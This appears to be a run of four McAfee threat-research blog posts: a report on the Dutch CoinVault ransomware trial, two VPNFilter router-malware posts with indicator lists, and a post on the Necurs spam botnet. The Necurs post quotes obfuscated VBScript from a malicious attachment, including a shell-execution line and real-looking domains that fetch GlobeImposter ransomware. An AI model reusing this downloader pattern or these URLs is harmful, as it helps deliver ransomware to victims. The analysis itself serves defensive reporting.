What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court

How often do we get a chance to learn what goes on in the minds of cybercriminals? Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers.

The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands. This case was one of the first in the world in which ransomware developers appeared in court and were convicted for creating and spreading ransomware.

They were responsible for creating the ransomware families CoinVault and BitCryptor. CoinVault, the better known of the two, made its appearance in late 2014. The technically skilled programmers had examined the source code of CryptoLocker, the notorious ransomware family that first struck in 2013. The brothers were not very impressed and agreed that they could do a better job. What might have started out as a fun technical challenge turned into a criminal business.

The CoinVault and BitCryptor campaigns were not as widespread as CTB-Locker, CryptoWall, or Locky ransomware campaigns. Nor did they profit as much from it, but this case is nevertheless uncommon. It is rare that the developers of ransomware are caught, let alone confess their crimes. This case gives us an opportunity to understand what drove them down a path to cybercrime.

The challenge

Why would someone write malicious code and infect thousands of people? The judge asked the brothers the same question. Their response was “Because it was a technical challenge.” “But didn’t you realize you were dealing with people?” the judge responded. Both brothers answered that they did not; they were dealing with computers and never met their victims face to face.

The judge and prosecutor did not accept their explanation. CoinVault had a built-in helpdesk function to directly communicate with their victims, thus registering their pleas. The brothers standard reaction was merciless: “Just pay the money; otherwise we won’t decrypt.” According to the prosecutor, they had plenty of opportunities to see the consequences of their actions but choose to ignore them for money.

At the trial they said they were sorry and tearfully regretted what they had done. But were these mere crocodile tears because they got caught? During CoinVault’s lifespan, several versions of the ransomware were released. Every new version was a reaction to blogs written by security researchers and takedowns performed by law enforcement. Instead of realizing that they were making a mistake and stopping, the brothers saw it as a challenge, a digital game of cat and mouse, and constantly improved their malicious code.

Their continuing to improve the ransomware shows a lack of empathy with their victims. Was there no one in their social surroundings who could straighten their moral compasses and talk sense into them?

The payment

A ransomware criminal must decide the amount of ransom to charge. Generally the more targeted a ransomware attack is, the higher the ransom demand will be. CoinVault’s infections were not targeted at one organization; they charged only US$250. The two brothers explained that they chose that price to be low enough for an average person to pay while still making a good profit. The prosecutor remarked ironically that they were “very noble [to keep] their ransom demand affordable.”

The infection

The two brothers did not directly infect their victims with ransomware; they took a multistep approach. Their distribution method was via newsgroup channels. They hooked a small piece of malicious code to known software or license-key generators before posting the software packages on the newsgroups. Once victims installed the package or ran the key generator, they would become part of a botnet through the software the brothers named Comhost, which can record keystrokes, search for credentials, and steal Bitcoin wallets. Comhost can also upload and execute binaries received from the control server they named Sonar. (We believe Sonar is modified a version of the popular Solar botnet software.)

The Sonar botnet panel.

Once they had accumulated enough bots, they simply pushed CoinVault to all their victims and locked thousands of computers at once. This method made it hard for victims to figure out how they were attacked, because weeks could pass between the initial infection and the encryption. By spreading their ransomware via newsgroups with pirated software, they discouraged victims from going to the police out of fear of prosecution and copyright-violation fines.

The CoinVault lock screen.

The arrest

In April 2015, The National High Tech Crime Unit of the Dutch Police seized the control servers for CoinVault. After the police investigated, the two brothers, aged 18 and 22 at the time, were arrested in Amersfoort, Netherlands, on September 14, 2015. Systems were infected not only in the Netherlands, but also in the United States, Germany, France, and the United Kingdom. Their mistakes? Using flawless Dutch in the ransom notes and one time they did not use a Tor connection to log in into their control server, instead using their home connection.

Flawless Dutch in the ransomware code.

Although they used an obfuscator tool (Confuser) for their code, in some of the samples the full name of one of the authors was present, because they did not clean up the debugging path.



From grabbing keys to No More Ransom

During the investigation the Dutch police obtained all the decryption keys for CoinVault and partnered with the private sector to build a decryption tool for CoinVault ransomware, successfully mitigating a large portion of the damage caused by CoinVault. This effort idea gave birth to No More Ransom, an online portal supported by the public and private sector with the largest repository on the planet of free ransomware decryption tools. No More Ransom now has decryptors for 85 ransomware versions. This global initiative has prevented millions of dollars from falling into the hands of cybercriminals. McAfee is proud to be one of the founding members of No More Ransom.


The next steps

Extorting people with ransomware is wrong, and perpetrators must be held accountable. It is sad to see two talented young people choose a pathway to cybercrime and waste their skills—skills sorely needed in the cybersecurity sector. We hope they will have learned a lesson as they endure the consequences of their actions. The sentencing will take place in about two weeks. Perhaps after they serve their time, they will find someone willing to give them a second chance.

The post What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court appeared first on McAfee Blogs.

VPNFilter Malware Adds Capabilities to Exploit Endpoints

VPNFilter, a botnet-controlled malware that infects networking devices, was first documented by researchers from Cisco Talos. McAfee Labs also published a blog on May 23 with some initial information.

In our last post we discussed the three stages of infection and the devices affected by the malware, and how it can maintain a persistent presence on an infected device even after a reboot. The malware can also monitor traffic routed through the infected device. (Read the first post for more details.)

In this post we will report new information released by Cisco Talos. The findings reveal that that malware now targets additional devices, including products from Huawei, Asus, D-Link, Ubiquiti Networks, MikroTik, Upvel, ZTE Linksys, Netgear, and TP-Link.

In our previous post, we discussed two modules, a traffic sniffer and Tor, used in Stage 3 of the infection. Now researchers have analysed a third module in the third stage that intercepts network traffic by using a man-in-the-middle attack and injects malicious code while content passes through the router. Using this new module, an attacker can launch an exploit, and perform data exfiltration or a JavaScript injection onto the victim’s device.

The malware added another module that deletes its traces on the infected device. It then clears the flash memory and deletes operating system files, rendering the device inoperable.

The new Stage-3 module’s packet sniffer looks for basic authentication in the traffic content, and also monitors connections for industrial control systems traffic related to the Modbus protocol, which is typically used in SCADA systems. 

Coverage and Mitigation

The aforementioned IOCs are covered as follows:

  • Detection names for files: Linux/VPNFilter
  • V3 DAT with coverage version: 3367
  • V2 DAT with coverage version: 8916

All samples are classified in the GTI cloud as malware, as well as all relevant URLs.

Further Recommendations from the Talos Threat Research Team

  • Reboot SOHO routers and NAS devices to remove the potentially destructive, nonpersistent Stage 2 and Stage 3 malware
  • Work with the manufacturer to ensure that your device is up to date with the latest patches. Apply the updated patches immediately.
  • ISPs should aggressively work with their customers to ensure their devices are patched to the most recent firmware 

Updated Indicators of Compromise and Sample Hashes 

URLs and IP addresses

  • photobucket[.]com/user/millerfred/library
  • photobucket[.]com/user/jeniferaniston1/library
  • photobucket[.]com/user/lisabraun87/library
  • photobucket[.]com/user/eva_green1/library
  • photobucket[.]com/user/suwe8/library
  • photobucket[.]com/user/bob7301/library
  • toknowall[.]com
  • photobucket[.]com/user/amandaseyfried1/library
  • photobucket[.]com/user/nikkireed11/library
  • 4seiwn2ur4f65zo4[.]onion/bin256/update.php
  • zm3lznxn27wtzkwa[.]onion/bin16/update.php
  • photobucket[.]com/user/kmila302/library
  • photobucket[.]com/user/monicabelci4/library
  • photobucket[.]com/user/katyperry45/library
  • photobucket[.]com/user/saragray1/library
  • zuh3vcyskd4gipkm[.]onion/bin32/update.php
  • 6b57dcnonk2edf5a[.]onion/bin32/update.php
  • tljmmy4vmkqbdof4[.]onion/bin32/update.php
  • 46.151.209[.]33
  • 217.79.179[.]14
  • 91.214.203[.]144
  • 94.242.222[.]68
  • 82.118.242[.]124
  • 95.211.198[.]231
  • 195.154.180[.]60
  • 5.149.250[.]54
  • 94.185.80[.]82
  • 91.121.109[.]209
  • 217.12.202[.]40
  • 62.210.180[.]229
  • 91.200.13[.]76

File Hashes

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  • FC9594611445DE4A0BA30DAF60A7E4DEC442B2E5D25685E92A875ACA2C0112C9
  • FCB6FF6A679CA17D9B36A543B08C42C6D06014D11002C09BA7C38B405B50DEBE
  • FE46A19803108381D2E8B5653CC5DCE1581A234F91C555BBFFF63B289B81A3DC
  • FF118EDB9312C85B0B7FF4AF1FC48EB1D8C7C8DA3C0E1205C398D2FE4A795F4B
  • FF471A98342BAFBAB0D341E0DB0B3B9569F806D0988A5DE0D8560B6729875B3E
  • FF70462CB3FC6DDD061FBD775BBC824569F1C09425877174D43F08BE360B2B58
  • FFB0E244E0DABBAABF7FEDD878923B9B30B487B3E60F4A2CF7C0D7509B6963BA

The post VPNFilter Malware Adds Capabilities to Exploit Endpoints appeared first on McAfee Blogs.

VPNFilter Botnet Targets Networking Devices

VPNFilter is a botnet with capabilities to support both intelligence collection and destructive cyberattack operations. The Cisco Talos team recently notified members of the Cyber Threat Alliance (CTA) of its findings and published this blog.

The malware is believed to target networking devices, although the malware’s initial infection vector is still unclear. Talos, which first reported this attack, claims that it has impacted at least 500,000 networking devices during the last few years. The malware can persist on infected devices and can steal website credentials and monitor Modbus SCADA protocols. It also implements file collection, command execution, data extraction, and device management and, even worse, it can render some or all of the infected devices unusable.

The known devices affected by VPNFilter are some network-attached storage (NAS) devices such as Linksys, MikroTik, Netgear, and TP-Link networking equipment in the small and home office (SOHO) space, as well at QNAP.

Malware infection stages

VPNFilter has a three-stage infection.

Stage 1 completes the persistence on the system and uses multiple control mechanisms to find and connect the Stage 2 deployment server.

Stage 2 focuses on file collection, command execution, data extraction, and device management. Some versions possess a self-destruct capability to render itself unusable.

Stage 3 includes two known modules:

  • A traffic sniffer to steal website credentials and monitor Modbus SCADA protocols
  • Tor to communicate with anonymous addresses 

Indicators of compromise and sample hashes

URLs and IPs



File hashes

  • First-Stage Malware
    • 50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec
    • 0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92
  • Second-Stage Malware
    • 9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17
    • d6097e942dd0fdc1fb28ec1814780e6ecc169ec6d24f9954e71954eedbc4c70e
    • 4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b
    • 9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387
    • 37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4
    • 776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d
    • 8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1
    • 0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b
  • Third-Stage Malware
    • f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344
    • afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719

Coverage and mitigation

The aforementioned IOCs are covered as follows:

  • Detection names for files: Linux/VPNFilter and Linux/VPNFilter.a
    • V3 DAT with coverage version: 3353
    • V2 DAT with coverage version: 8902
  • All samples are GTI classified as malware
  • All relevant URLs are GTI classified

Further recommendations from the Talos threat research team:

  • Reboot SOHO routers and NAS devices to remove the potentially destructive, nonpersistent Stage 2 and Stage 3 malware
  • Work with the manufacturer to ensure that your device is up to date with the latest patches. Apply the updated patches immediately.

ISPs should work aggressively with their customers to ensure their devices are patched to the most recent firmware/

The post VPNFilter Botnet Targets Networking Devices appeared first on McAfee Blogs.

Necurs Botnet Leads the World in Sending Spam Traffic

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.

The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft’s Dynamic Data Exchange to lure victims into “updating” the attached document with data from linked files—external links that delivered the malware.

In Q4 we noticed several botnet campaigns delivering the following payloads:

  • GlobeImposter ransomware
  • Locky ransomware
  • Scarab ransomware
  • Dridex banking Trojan

A timeline:

Let’s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.

In this case, the name is “Outside Caller 19-12-2017 [random nr].” Here is some of the script code:

Execute "Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub"

Disaster = "//21+12:ptth21+12ex"+"e.eUtaLHpbP\21+12elifotevas21+12ydoBes"+"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12" & "" 


This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:

SudForMake = Split("Microsoft.XMLHTTP21+12Adodb.streaM"+StrReverse(Disaster),  "21+12")


The following line starts the saved code:

writenopopbusinesslikeMacAttack.Run("cmd."&"exe /c START """" "+" " & ArrArr ) 


Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code: 

krapivec = Array("littleblessingscotons.com/jdh673hk?","smarterbaby.com/jdh673hk?","ragazzemessenger.com/jdh673hk?") 


The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:

Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox—with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting & conformance). To learn more about how DMARC can help protect against this kind of threat, visit dmarc.org. For more on Necurs, see the McAfee Labs Threats Report, June 2017.

The post Necurs Botnet Leads the World in Sending Spam Traffic appeared first on McAfee Blogs.